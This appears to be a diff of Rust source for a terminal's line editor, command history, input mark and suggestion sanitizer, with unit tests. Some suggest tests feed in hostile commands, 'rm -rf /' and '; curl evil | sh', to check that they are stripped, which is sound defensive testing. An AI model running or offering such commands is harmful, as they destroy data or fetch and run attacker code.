assert_eq!(e.key(Key::End), Outcome::Unchanged);
assert_eq!(e.key(Key::Right), Outcome::Unchanged);
assert_eq!(e.key(Key::Delete), Outcome::Unchanged);
e.key(Key::Left);
e.key(Key::Char('!'));
assert_eq!(e.text(), "why did it fai!l");
}
#[test]
fn deleting() {
let mut e = LineEditor::new(&[]);
typed(&mut e, "one two three");
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Changed);
assert_eq!(e.text(), "one two ");
e.key(Key::DeleteWordLeft);
assert_eq!(e.text(), "one ");
e.key(Key::Backspace);
assert_eq!(e.text(), "one");
e.key(Key::Home);
e.key(Key::Delete);
assert_eq!(e.text(), "ne");
typed(&mut e, "x y ");
assert_eq!(e.text(), "x y ne");
e.key(Key::DeleteToEnd);
assert_eq!(e.text(), "x y ");
assert_eq!(e.key(Key::DeleteToEnd), Outcome::Unchanged);
e.key(Key::Home);
e.key(Key::DeleteWordRight);
assert_eq!(e.text(), " y ");
e.key(Key::End);
e.key(Key::DeleteToStart);
assert_eq!(e.text(), "");
assert_eq!(e.key(Key::DeleteToStart), Outcome::Unchanged);
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Unchanged);
assert_eq!(e.key(Key::DeleteWordRight), Outcome::Unchanged);
}
#[test]
fn sending_and_leaving() {
let mut e = LineEditor::new(&[]);
assert_eq!(
e.key(Key::Enter),
Outcome::Cancel,
"an empty line sends nothing"
);
typed(&mut e, " ");
assert_eq!(e.key(Key::Enter), Outcome::Cancel, "nor a blank one");
typed(&mut e, "hello ");
assert_eq!(e.key(Key::Enter), Outcome::Submit("hello".to_string()));
assert_eq!(e.key(Key::Cancel), Outcome::Cancel);
}
#[test]
fn control_characters_never_stand_on_the_line() {
let mut e = LineEditor::new(&[]);
assert_eq!(e.key(Key::Char('\u{1b}')), Outcome::Unchanged);
assert_eq!(e.key(Key::Char('\u{7}')), Outcome::Unchanged);
assert_eq!(e.key(Key::Char('\u{9b}')), Outcome::Unchanged);
assert_eq!(e.key(Key::Char('\t')), Outcome::Changed);
assert_eq!(e.text(), " ");
let mut e = LineEditor::new(&[]);
assert_eq!(
e.insert_text("first\r\nsecond\n\nthird\u{1b}[31m\u{7}"),
Outcome::Changed
);
assert_eq!(e.text(), "first second third[31m");
assert_eq!(e.insert_text("\u{1b}\u{7}"), Outcome::Unchanged);
}
#[test]
fn pasting_goes_in_at_the_cursor() {
let mut e = LineEditor::new(&[]);
typed(&mut e, "ab");
e.key(Key::Left);
e.insert_text("XY");
assert_eq!(e.text(), "aXYb");
assert_eq!(e.cursor(), 3);
}
#[test]
fn a_question_is_not_endless() {
let mut e = LineEditor::new(&[]);
let long: String = std::iter::repeat('a').take(MAX_CHARS + 50).collect();
e.insert_text(&long);
assert_eq!(e.chars().len(), MAX_CHARS);
assert_eq!(e.key(Key::Char('b')), Outcome::Unchanged);
}
#[test]
fn earlier_questions() {
let history = vec!["first".to_string(), "second".to_string()];
let mut e = LineEditor::new(&history);
typed(&mut e, "dra");
assert_eq!(e.key(Key::Up), Outcome::Changed);
assert_eq!(e.text(), "second");
assert_eq!(e.cursor(), 6);
e.key(Key::Up);
assert_eq!(e.text(), "first");
assert_eq!(e.key(Key::Up), Outcome::Unchanged);
e.key(Key::Down);
assert_eq!(e.text(), "second");
e.key(Key::Down);
assert_eq!(e.text(), "dra", "back to what was being typed");
assert_eq!(e.key(Key::Down), Outcome::Unchanged);
let mut none = LineEditor::new(&[]);
assert_eq!(none.key(Key::Up), Outcome::Unchanged);
}
#[test]
fn remembering() {
let mut h = Vec::new();
remember(&mut h, " one ");
remember(&mut h, "two");
remember(&mut h, "one");
remember(&mut h, " ");
assert_eq!(h, vec!["two".to_string(), "one".to_string()]);
for i in 0..(MAX_HISTORY + 10) {
remember(&mut h, &format!("q{}", i));
}
assert_eq!(h.len(), MAX_HISTORY);
assert_eq!(h[h.len() - 1], format!("q{}", MAX_HISTORY + 9));
}
#[test]
fn the_line_fits_the_row() {
let chars: Vec<char> = "hello".chars().collect();
let v = view("llembas m \u{b7} auto", &chars, 5, 80, &one);
assert_eq!(v.lead, "llembas m \u{b7} auto \u{203a} ");
assert_eq!(v.text, "hello");
assert_eq!(v.cursor_col, 19 + 5);
let v = view("llembas", &chars, 2, 80, &one);
assert_eq!(v.cursor_col, 10 + 2);
}
#[test]
fn a_long_question_scrolls() {
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz".chars().collect();
// lead "p › " is 4 columns, the row has 14: ten for the question
let v = view("p", &chars, 26, 14, &one);
assert_eq!(v.lead, "p \u{203a} ");
assert_eq!(v.text, "\u{2026}stuvwxyz");
assert_eq!(v.cursor_col, 13, "the cursor stays in the row");
let v = view("p", &chars, 0, 14, &one);
assert_eq!(v.text, "abcdefghij");
assert_eq!(v.cursor_col, 4);
let v = view("p", &chars, 9, 14, &one);
assert_eq!(v.text, "abcdefghij", "not scrolled while the cursor fits");
assert_eq!(v.cursor_col, 13);
let v = view("p", &chars, 10, 14, &one);
assert_eq!(v.text, "\u{2026}cdefghijk");
assert_eq!(v.cursor_col, 13);
}
#[test]
fn a_narrow_row_gives_up_the_prefix() {
let chars: Vec<char> = "hi".chars().collect();
let v = view("llembas big-model \u{b7} manual", &chars, 2, 20, &one);
assert_eq!(v.lead, "\u{203a} ");
assert_eq!(v.text, "hi");
assert_eq!(v.cursor_col, 4);
let v = view("llembas", &chars, 2, 3, &one);
assert_eq!(v.lead, "");
assert_eq!(v.cursor_col, 2);
let v = view("llembas", &chars, 2, 0, &one);
assert_eq!(v.text, "");
assert_eq!(v.cursor_col, 0);
}
#[test]
fn wide_characters_take_two_columns() {
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
let chars: Vec<char> = "a\u{4e2d}b".chars().collect();
let v = view("p", &chars, 2, 40, &wide);
assert_eq!(v.cursor_col, 4 + 3);
// six columns for the question: a wide character that does not fit is left out
let chars: Vec<char> = "\u{4e2d}\u{4e2d}\u{4e2d}\u{4e2d}".chars().collect();
let v = view("p", &chars, 0, 9, &wide);
assert_eq!(v.lead, "\u{203a} ");
assert_eq!(v.text, "\u{4e2d}\u{4e2d}\u{4e2d}");
}
}
+461
View File
@@ -0,0 +1,461 @@
//! The terminal's own history of commands: the lines it saw run in its panes,
//! kept for the suggestions it draws after the cursor. It is not the shell's
//! history file, and never reads one.
//!
//! What is kept of a command: its text, how it ended, the directory it ran in
//! and when. What is never kept: a line that starts with a space (the shells'
//! own way of saying "do not remember this"), a line of several lines, a
//! command that was not found, anything with a control character in it. A
//! pane marked private records nothing, which is the caller's to see to.
//!
//! The file is the person's alone (mode 0600), one command a line, appended
//! to as commands run and rewritten smaller when it has grown.
use std::io::Write;
use std::path::Path;
/// The first line of the file.
pub const HEADER: &str = "# llembas-tty history 1";
/// The most bytes of one command that are kept.
pub const MAX_COMMAND_BYTES: usize = 2000;
/// An exit status that is not known.
pub const NO_EXIT: i32 = -1;
/// The shells' exit status for a command that does not exist.
const NOT_FOUND: i32 = 127;
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Entry {
pub command: String,
/// Its exit status, or [`NO_EXIT`].
pub exit: i32,
/// The directory it ran in; empty when not known.
pub cwd: String,
/// When it ended, seconds since the epoch.
pub time: u64,
}
/// Is this a command the history keeps?
pub fn accepts(command: &str, exit: i32) -> bool {
if command.starts_with(' ') || exit == NOT_FOUND {
return false;
}
let trimmed = command.trim();
!trimmed.is_empty()
&& trimmed.len() <= MAX_COMMAND_BYTES
&& !trimmed.chars().any(|c| c.is_control())
}
fn escape(text: &str) -> String {
let mut out = String::with_capacity(text.len());
for c in text.chars() {
match c {
'\\' => out.push_str("\\\\"),
'\t' => out.push_str("\\t"),
'\n' => out.push_str("\\n"),
'\r' => out.push_str("\\r"),
c => out.push(c),
}
}
out
}
fn unescape(text: &str) -> String {
let mut out = String::with_capacity(text.len());
let mut chars = text.chars();
while let Some(c) = chars.next() {
if c != '\\' {
out.push(c);
continue;
}
match chars.next() {
Some('t') => out.push('\t'),
Some('n') => out.push('\n'),
Some('r') => out.push('\r'),
Some(other) => out.push(other),
None => out.push('\\'),
}
}
out
}
impl Entry {
/// The entry as one line of the file, without the line break.
pub fn to_line(&self) -> String {
format!(
"{}\t{}\t{}\t{}",
self.time,
self.exit,
escape(&self.cwd),
escape(&self.command)
)
}
/// An entry from a line of the file; `None` for a line that is not one.
pub fn from_line(line: &str) -> Option<Entry> {
let mut parts = line.splitn(4, '\t');
let time = parts.next()?.parse::<u64>().ok()?;
let exit = parts.next()?.parse::<i32>().ok()?;
let cwd = unescape(parts.next()?);
let command = unescape(parts.next()?);
if !accepts(&command, exit) {
return None;
}
Some(Entry {
command,
exit,
cwd,
time,
})
}
}
#[derive(Debug, Clone, Default)]
pub struct History {
/// The oldest first; each command once.
entries: Vec<Entry>,
max: usize,
}
impl History {
pub fn new(max: usize) -> Self {
History {
entries: Vec::new(),
max,
}
}
pub fn len(&self) -> usize {
self.entries.len()
}
pub fn is_empty(&self) -> bool {
self.entries.is_empty()
}
pub fn entries(&self) -> &[Entry] {
&self.entries
}
pub fn clear(&mut self) {
self.entries.clear();
}
/// Keep a command. A command that is there already moves to the newest
/// place; the oldest go when there are more than `max`. Returns whether it
/// was kept.
pub fn add(&mut self, entry: Entry) -> bool {
if self.max == 0 || !accepts(&entry.command, entry.exit) {
return false;
}
let mut entry = entry;
entry.command = entry.command.trim().to_string();
self.entries.retain(|e| e.command != entry.command);
self.entries.push(entry);
if self.entries.len() > self.max {
let extra = self.entries.len() - self.max;
self.entries.drain(0..extra);
}
true
}
/// The rest of the newest command that starts with what is typed; `None`
/// when there is none, or nothing is typed.
pub fn suggest(&self, typed: &str) -> Option<&str> {
if typed.is_empty() || typed.starts_with(' ') {
return None;
}
for entry in self.entries.iter().rev() {
if entry.command.len() > typed.len() && entry.command.starts_with(typed) {
return Some(&entry.command[typed.len()..]);
}
}
None
}
/// Read a history from the text of its file. Lines that are not entries
/// are passed over. Returns the history and how many lines the text had.
pub fn parse(text: &str, max: usize) -> (History, usize) {
let mut history = History::new(max);
let mut lines = 0;
for line in text.lines() {
lines += 1;
if line.starts_with('#') {
continue;
}
if let Some(entry) = Entry::from_line(line) {
history.add(entry);
}
}
(history, lines)
}
/// The whole history as the text of its file.
pub fn serialize(&self) -> String {
let mut out = String::from(HEADER);
out.push('\n');
for entry in &self.entries {
out.push_str(&entry.to_line());
out.push('\n');
}
out
}
}
#[cfg(unix)]
fn private_options() -> std::fs::OpenOptions {
use std::os::unix::fs::OpenOptionsExt;
let mut options = std::fs::OpenOptions::new();
options.mode(0o600);
options
}
#[cfg(not(unix))]
fn private_options() -> std::fs::OpenOptions {
std::fs::OpenOptions::new()
}
/// Read the history file. A file that is not there is an empty history. When
/// the file has grown to more than twice what is kept, it is rewritten.
pub fn load(path: &Path, max: usize) -> std::io::Result<History> {
let text = match std::fs::read_to_string(path) {
Ok(text) => text,
Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(History::new(max)),
Err(err) => return Err(err),
};
let (history, lines) = History::parse(&text, max);
if lines > max.saturating_mul(2) + 16 {
save(path, &history)?;
}
Ok(history)
}
/// Write the whole history: to a file beside it that is the person's alone,
/// then moved over it.
pub fn save(path: &Path, history: &History) -> std::io::Result<()> {
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir)?;
}
let mut tmp = path.as_os_str().to_owned();
tmp.push(format!(".{}.tmp", std::process::id()));
let tmp = std::path::PathBuf::from(tmp);
let _ = std::fs::remove_file(&tmp);
let result = (|| {
let mut file = private_options().write(true).create_new(true).open(&tmp)?;
file.write_all(history.serialize().as_bytes())?;
file.sync_all()?;
std::fs::rename(&tmp, path)
})();
if result.is_err() {
let _ = std::fs::remove_file(&tmp);
}
result
}
/// Add one command to the end of the file, making the file (the person's
/// alone) when it is not there.
pub fn append(path: &Path, entry: &Entry) -> std::io::Result<()> {
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir)?;
}
let mut file = private_options().append(true).create(true).open(path)?;
let mut text = String::new();
if file.metadata()?.len() == 0 {
text.push_str(HEADER);
text.push('\n');
}
text.push_str(&entry.to_line());
text.push('\n');
file.write_all(text.as_bytes())
}
/// Forget everything: the file is removed.
pub fn remove(path: &Path) -> std::io::Result<()> {
match std::fs::remove_file(path) {
Ok(()) => Ok(()),
Err(err) if err.kind() == std::io::ErrorKind::NotFound => Ok(()),
Err(err) => Err(err),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::sync::atomic::{AtomicUsize, Ordering};
fn entry(command: &str, exit: i32) -> Entry {
Entry {
command: command.to_string(),
exit,
cwd: "/home/user/project".to_string(),
time: 1700000000,
}
}
/// A directory of its own for one test.
fn scratch(name: &str) -> std::path::PathBuf {
static N: AtomicUsize = AtomicUsize::new(0);
let dir = std::env::temp_dir().join(format!(
"llembas-line-test-{}-{}-{}",
std::process::id(),
N.fetch_add(1, Ordering::SeqCst),
name
));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
dir
}
#[test]
fn what_is_kept_and_what_is_not() {
assert!(accepts("git status", 0));
assert!(
accepts("make test", 2),
"a command that failed is still one"
);
assert!(accepts("ls", NO_EXIT));
assert!(
!accepts(" export TOKEN=secret", 0),
"a line that starts with a space"
);
assert!(!accepts("gti status", 127), "a command that was not found");
assert!(!accepts("", 0));
assert!(!accepts(" ", 0));
assert!(!accepts("echo a\necho b", 0), "several lines");
assert!(!accepts("echo \u{1b}[31m", 0), "a control character");
let long: String = std::iter::repeat('a').take(MAX_COMMAND_BYTES + 1).collect();
assert!(!accepts(&long, 0));
}
#[test]
fn adding() {
let mut h = History::new(3);
assert!(h.add(entry("one", 0)));
assert!(h.add(entry("two ", 0)));
assert!(!h.add(entry(" secret", 0)));
assert!(h.add(entry("one", 1)));
let commands: Vec<&str> = h.entries().iter().map(|e| e.command.as_str()).collect();
assert_eq!(
commands,
vec!["two", "one"],
"each once, the newest last, trimmed"
);
assert_eq!(h.entries()[1].exit, 1, "and as it last ended");
h.add(entry("three", 0));
h.add(entry("four", 0));
assert_eq!(h.len(), 3);
assert_eq!(h.entries()[0].command, "one", "the oldest went");
let mut none = History::new(0);
assert!(
!none.add(entry("x", 0)),
"a history of nothing keeps nothing"
);
assert!(none.is_empty());
}
#[test]
fn suggesting() {
let mut h = History::new(10);
h.add(entry("git status", 0));
h.add(entry("git stash pop", 0));
h.add(entry("ls -la", 0));
assert_eq!(
h.suggest("git st"),
Some("ash pop"),
"the newest that starts so"
);
assert_eq!(h.suggest("git stat"), Some("us"));
assert_eq!(h.suggest("git status"), None, "nothing left to offer");
assert_eq!(h.suggest("l"), Some("s -la"));
assert_eq!(h.suggest(""), None, "nothing typed");
assert_eq!(
h.suggest(" git"),
None,
"a line that asks not to be remembered"
);
assert_eq!(h.suggest("cargo"), None);
assert_eq!(h.suggest("Git"), None, "as typed, not folded");
h.clear();
assert_eq!(h.suggest("git"), None);
}
#[test]
fn the_file_text() {
let mut h = History::new(10);
h.add(Entry {
command: "echo a\\tb".to_string(),
exit: 0,
cwd: "/tmp/with\ttab".to_string(),
time: 5,
});
h.add(entry("ls", 2));
let text = h.serialize();
assert_eq!(
text,
"# llembas-tty history 1\n5\t0\t/tmp/with\\ttab\techo a\\\\tb\n1700000000\t2\t/home/user/project\tls\n"
);
let (back, lines) = History::parse(&text, 10);
assert_eq!(lines, 3);
assert_eq!(back.entries(), h.entries());
// lines that are not entries are passed over, never an error
let (odd, _) = History::parse(
"nonsense\n1\t0\n\nx\t0\t/\tls\n7\t0\t/\t secret\n8\t127\t/\tgti\n9\t0\t/\tok\n",
10,
);
assert_eq!(odd.len(), 1);
assert_eq!(odd.entries()[0].command, "ok");
// only the newest are kept
let (few, _) = History::parse("1\t0\t/\ta\n2\t0\t/\tb\n3\t0\t/\tc\n", 2);
assert_eq!(few.entries()[0].command, "b");
}
#[test]
fn the_file_itself() {
let dir = scratch("file");
let path = dir.join("sub").join("history");
assert!(
load(&path, 10).unwrap().is_empty(),
"no file: an empty history"
);
append(&path, &entry("git status", 0)).unwrap();
append(&path, &entry("ls", 0)).unwrap();
let text = std::fs::read_to_string(&path).unwrap();
assert!(text.starts_with("# llembas-tty history 1\n"));
assert_eq!(text.lines().count(), 3);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
assert_eq!(mode, 0o600, "the person's alone");
}
let h = load(&path, 10).unwrap();
assert_eq!(h.len(), 2);
assert_eq!(h.suggest("git"), Some(" status"));
remove(&path).unwrap();
remove(&path).unwrap();
assert!(load(&path, 10).unwrap().is_empty());
std::fs::remove_dir_all(&dir).unwrap();
}
#[test]
fn a_file_that_grew_is_rewritten_smaller() {
let dir = scratch("grow");
let path = dir.join("history");
for i in 0..40 {
append(&path, &entry(&format!("command {}", i % 5), 0)).unwrap();
}
assert_eq!(std::fs::read_to_string(&path).unwrap().lines().count(), 41);
let h = load(&path, 3).unwrap();
assert_eq!(h.len(), 3);
let text = std::fs::read_to_string(&path).unwrap();
assert_eq!(text.lines().count(), 4, "the header and the three kept");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
assert_eq!(mode, 0o600, "still the person's alone");
}
let files: Vec<_> = std::fs::read_dir(&dir).unwrap().collect();
assert_eq!(files.len(), 1, "nothing left beside it");
std::fs::remove_dir_all(&dir).unwrap();
}
}
+23
View File
@@ -0,0 +1,23 @@
//! LLeMbas TTY: what the terminal decides about a line of text, with no
//! terminal in it.
//!
//! - [`editor`]: the ask line's own small line editor, and how it fits a row.
//! - [`zone`]: the shell's input line, read from the cells of the screen.
//! - [`history`]: the terminal's own history of commands it saw run.
//! - [`mark`]: the input mark, by which LLeMbas knows a prompt is empty.
//! - [`suggest`]: what is offered after the cursor, and how much a key takes.
//! - [`tokens`]: the parts of a shell command line, for its colours.
//! - [`complete`]: asking LLeMbas for the rest of a line - whether to, how the
//! engine is run, and what is remembered of it for the person.
//!
//! Everything takes plain values and returns plain values. Text that came
//! from a pane, a file or a model is text here and nothing else: it is never
//! run, and nothing in it survives that could act on a terminal.
pub mod complete;
pub mod editor;
pub mod history;
pub mod mark;
pub mod suggest;
pub mod tokens;
pub mod zone;
+148
View File
@@ -0,0 +1,148 @@
//! The input mark: whether anything stands on the input line of a pane's
//! prompt, written by the terminal for LLeMbas, which places a command only
//! at an empty prompt (the engine's specification, *A command placed at the
//! prompt*).
//!
//! A small file beside the pane's status record, the person's alone, written
//! whole:
//!
//! ```text
//! llembas-tty-input=1
//! id=<the status record's id>
//! seq=<the status record's seq>
//! typed=0 | 1
//! ```
//!
//! It counts only while `id` and `seq` are those of the pane's status record
//! and that record is at a prompt, so a mark that was not kept up says
//! nothing rather than something wrong.
use std::io::Write;
use std::path::{Path, PathBuf};
pub const MAGIC: &str = "llembas-tty-input=1";
/// The mark's file for a pane, in the directory of the status records.
pub fn path(dir: &Path, pane: usize) -> PathBuf {
dir.join(format!("pane-{}.input", pane))
}
/// Is this the id of a status record? 1 to 64 letters, digits, `.`, `_`,
/// `:` or `-`. Anything else is never written into a file.
pub fn valid_id(id: &str) -> bool {
!id.is_empty()
&& id.len() <= 64
&& id
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | ':' | '-'))
}
/// The mark as it is written; `None` for an id that is none.
pub fn text(id: &str, seq: u64, typed: bool) -> Option<String> {
if !valid_id(id) {
return None;
}
Some(format!(
"{}\nid={}\nseq={}\ntyped={}\n",
MAGIC,
id,
seq,
if typed { 1 } else { 0 }
))
}
/// Write the mark of a pane: beside the file, closed to everybody else, then
/// moved over it, so that a reader sees the old mark or the new one.
pub fn write(dir: &Path, pane: usize, id: &str, seq: u64, typed: bool) -> std::io::Result<()> {
let text = text(id, seq, typed).ok_or_else(|| {
std::io::Error::new(std::io::ErrorKind::InvalidInput, "not a status record's id")
})?;
let path = path(dir, pane);
let tmp = dir.join(format!("pane-{}.input.{}", pane, std::process::id()));
let mut options = std::fs::OpenOptions::new();
options.write(true).create(true).truncate(true);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
options.mode(0o600);
}
let written = options
.open(&tmp)
.and_then(|mut file| file.write_all(text.as_bytes()))
.and_then(|_| std::fs::rename(&tmp, &path));
if written.is_err() {
let _ = std::fs::remove_file(&tmp);
}
written
}
/// Take a pane's mark away. That there is none is no error.
pub fn remove(dir: &Path, pane: usize) -> std::io::Result<()> {
match std::fs::remove_file(path(dir, pane)) {
Err(err) if err.kind() != std::io::ErrorKind::NotFound => Err(err),
_ => Ok(()),
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn the_mark_as_written() {
assert_eq!(
text("4242.1700000000", 17, false).unwrap(),
"llembas-tty-input=1\nid=4242.1700000000\nseq=17\ntyped=0\n"
);
assert!(text("4242.1700000000", 18, true)
.unwrap()
.ends_with("seq=18\ntyped=1\n"));
assert_eq!(text("", 1, false), None);
assert_eq!(text("a\nseq=9", 1, false), None, "one fact a line");
assert_eq!(text("a b", 1, false), None);
assert!(valid_id("host-1:2_3.4"));
assert!(!valid_id(&"x".repeat(65)));
assert_eq!(
path(Path::new("/run/t/status-1"), 12),
PathBuf::from("/run/t/status-1/pane-12.input")
);
}
#[test]
fn the_mark_in_its_file() {
let dir = std::env::temp_dir().join(format!(
"llembas-line-mark-{}-{}",
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
write(&dir, 3, "77.5", 4, true).unwrap();
let file = path(&dir, 3);
assert_eq!(
std::fs::read_to_string(&file).unwrap(),
"llembas-tty-input=1\nid=77.5\nseq=4\ntyped=1\n"
);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&file).unwrap().permissions().mode();
assert_eq!(mode & 0o777, 0o600, "the person's alone");
}
// written whole again, and nothing is left beside it
write(&dir, 3, "77.5", 5, false).unwrap();
assert!(std::fs::read_to_string(&file)
.unwrap()
.ends_with("seq=5\ntyped=0\n"));
assert_eq!(std::fs::read_dir(&dir).unwrap().count(), 1);
assert!(write(&dir, 3, "not an id", 5, false).is_err());
remove(&dir, 3).unwrap();
assert!(!file.exists());
remove(&dir, 3).unwrap();
// a directory that is not there: an error, and nothing is made
assert!(write(&dir.join("gone"), 1, "a", 1, false).is_err());
let _ = std::fs::remove_dir_all(&dir);
}
}
+173
View File
@@ -0,0 +1,173 @@
//! What is offered after the cursor, and how much of it a key takes.
//!
//! A suggestion is text offered. Taking it puts it on the shell's line as if
//! typed; nothing here runs anything, and nothing in a suggestion can act as
//! a key: it is one line with no control character in it.
/// The most characters a suggestion may have.
pub const MAX_CHARS: usize = 500;
/// Where a suggestion came from.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Source {
/// The terminal's own history of commands.
History,
/// LLeMbas (the autocomplete model).
Ai,
}
/// The rest of a line as it may be offered: one line, no control character,
/// not endless; `None` when nothing is left of it.
pub fn clean_rest(rest: &str) -> Option<String> {
let line = rest
.split(|c: char| c == '\n' || c == '\r')
.next()
.unwrap_or("");
let cleaned: String = line
.chars()
.filter(|c| !c.is_control())
.take(MAX_CHARS)
.collect();
if cleaned.trim().is_empty() {
None
} else {
Some(cleaned)
}
}
/// What a model answered for a line, as the rest of that line. A model may
/// repeat what was typed before going on: then only what follows is the rest.
pub fn clean_completion(answer: &str, typed: &str) -> Option<String> {
let first = answer
.split(|c: char| c == '\n' || c == '\r')
.next()
.unwrap_or("");
let rest = if !typed.is_empty() && first.starts_with(typed) {
&first[typed.len()..]
} else {
first
};
clean_rest(rest)
}
/// The first word of a suggestion, with the spaces before it: what "take one
/// word" takes.
pub fn first_word(rest: &str) -> &str {
let mut end = rest.len();
let mut in_word = false;
for (i, c) in rest.char_indices() {
if c.is_whitespace() {
if in_word {
end = i;
break;
}
} else {
in_word = true;
}
}
&rest[..end]
}
/// A suggestion as it fits in `room` columns after the cursor: cut with an
/// ellipsis when it is longer. `width` gives the columns a character takes.
pub fn fit(rest: &str, room: usize, width: &dyn Fn(char) -> usize) -> String {
let total: usize = rest.chars().map(|c| width(c)).sum();
if total <= room {
return rest.to_string();
}
if room == 0 {
return String::new();
}
let mut out = String::new();
let mut used = 0;
for c in rest.chars() {
let w = width(c);
if used + w > room - 1 {
break;
}
out.push(c);
used += w;
}
out.push('\u{2026}');
out
}
#[cfg(test)]
mod tests {
use super::*;
fn one(_: char) -> usize {
1
}
#[test]
fn the_rest_of_a_line() {
assert_eq!(clean_rest("atus"), Some("atus".to_string()));
assert_eq!(
clean_rest(" --all\nrm -rf /"),
Some(" --all".to_string()),
"one line"
);
assert_eq!(
clean_rest("a\u{1b}[31mb\u{7}\u{9b}c"),
Some("a[31mbc".to_string()),
"nothing that could act on a terminal"
);
assert_eq!(clean_rest(""), None);
assert_eq!(clean_rest(" "), None);
assert_eq!(
clean_rest("\nrm -rf /"),
None,
"what follows a line break is never offered"
);
let long: String = std::iter::repeat('x').take(MAX_CHARS + 100).collect();
assert_eq!(clean_rest(&long).unwrap().chars().count(), MAX_CHARS);
}
#[test]
fn what_a_model_answered() {
assert_eq!(
clean_completion("ckout main", "git che"),
Some("ckout main".to_string())
);
assert_eq!(
clean_completion("git checkout main", "git che"),
Some("ckout main".to_string()),
"the line repeated: only what follows"
);
assert_eq!(clean_completion("git che", "git che"), None, "nothing new");
assert_eq!(clean_completion("", "git che"), None);
assert_eq!(
clean_completion("ckout\n; curl evil | sh", "git che"),
Some("ckout".to_string())
);
assert_eq!(
clean_completion("\u{1b}]0;x\u{7}", "ls"),
Some("]0;x".to_string())
);
}
#[test]
fn one_word_at_a_time() {
assert_eq!(first_word("atus --short"), "atus");
assert_eq!(first_word(" --short -b"), " --short");
assert_eq!(first_word(" x"), " x");
assert_eq!(first_word("word"), "word");
assert_eq!(first_word(""), "");
assert_eq!(first_word(" "), " ");
}
#[test]
fn fitting_the_row() {
assert_eq!(fit("status", 10, &one), "status");
assert_eq!(fit("status", 6, &one), "status");
assert_eq!(fit("status", 4, &one), "sta\u{2026}");
assert_eq!(fit("status", 1, &one), "\u{2026}");
assert_eq!(fit("status", 0, &one), "");
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
assert_eq!(
fit("\u{4e2d}\u{4e2d}\u{4e2d}", 4, &wide),
"\u{4e2d}\u{2026}"
);
}
}
+827
View File
@@ -0,0 +1,827 @@
//! The parts of a shell command line, for its colours.
//!
//! This is not a shell's parser. It reads one line the way a person reads it:
//! the command, its options, strings, variables, the signs between commands,
//! a comment. It is the same for bash, zsh and their relatives, and a line it
//! does not understand is simply left less coloured. Nothing is expanded and
//! nothing is run.
//!
//! All positions are bytes of the line. Every sign this looks for is ASCII, so
//! a position is never inside a character.
/// What a part of the line is.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Kind {
/// The plain text of a word that stands where a command stands.
Command,
/// The plain text of any other word.
Word,
/// A word that begins with `-`.
Option,
/// A quoted string.
String,
/// `$name`, `${…}`, and the name of an assignment.
Variable,
/// A sign between commands, or a redirection.
Operator,
/// `#` to the end of the line.
Comment,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Token {
pub start: usize,
pub end: usize,
pub kind: Kind,
}
/// What a whole word is to the command line.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Role {
Command,
Argument,
Option,
/// `NAME=value` before a command.
Assignment,
/// The file of a redirection.
Target,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Word {
pub start: usize,
pub end: usize,
pub role: Role,
/// What the word says with its quotes taken off, for a command, an
/// argument or a target; `None` when that cannot be known without the
/// shell (a variable, a pattern).
pub value: Option<String>,
}
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct Parsed {
/// The coloured parts, in order, never overlapping.
pub tokens: Vec<Token>,
pub words: Vec<Word>,
}
/// Words after which another command stands.
const BEFORE_A_COMMAND: &[&str] = &[
"!", "builtin", "command", "do", "doas", "elif", "else", "exec", "if", "nohup", "sudo", "then",
"time", "until", "while",
];
/// What every shell of the family knows without looking in `PATH`: its own
/// words and its built-in commands.
const BUILTINS: &[&str] = &[
"!", ".", ":", "[", "[[", "alias", "bg", "bind", "break", "builtin", "case", "cd", "command",
"continue", "declare", "dirs", "disown", "do", "done", "echo", "elif", "else", "esac", "eval",
"exec", "exit", "export", "false", "fc", "fg", "fi", "for", "function", "getopts", "hash",
"help", "history", "if", "in", "jobs", "kill", "let", "local", "logout", "popd", "printf",
"pushd", "pwd", "read", "readonly", "return", "select", "set", "shift", "shopt", "source",
"suspend", "test", "then", "time", "times", "trap", "true", "type", "typeset", "ulimit",
"umask", "unalias", "unset", "until", "wait", "while",
];
pub fn is_builtin(name: &str) -> bool {
BUILTINS.contains(&name)
}
fn is_name_start(c: u8) -> bool {
c.is_ascii_alphabetic() || c == b'_'
}
fn is_name_char(c: u8) -> bool {
c.is_ascii_alphanumeric() || c == b'_'
}
/// From an opening `'` at `j` to after its closing one (or the end).
fn skip_single(b: &[u8], j: usize) -> usize {
let mut k = j + 1;
while k < b.len() {
if b[k] == b'\'' {
return k + 1;
}
k += 1;
}
b.len()
}
/// From an opening quote at `j` to after its closing one (or the end), where a
/// backslash takes the character after it: `"…"` and `$'…'`.
fn skip_escaped(b: &[u8], j: usize, quote: u8) -> usize {
let mut k = j + 1;
while k < b.len() {
if b[k] == b'\\' {
k += 2;
continue;
}
if b[k] == quote {
return k + 1;
}
k += 1;
}
b.len()
}
/// The length of the variable that starts with the `$` at `k`; 1 when the `$`
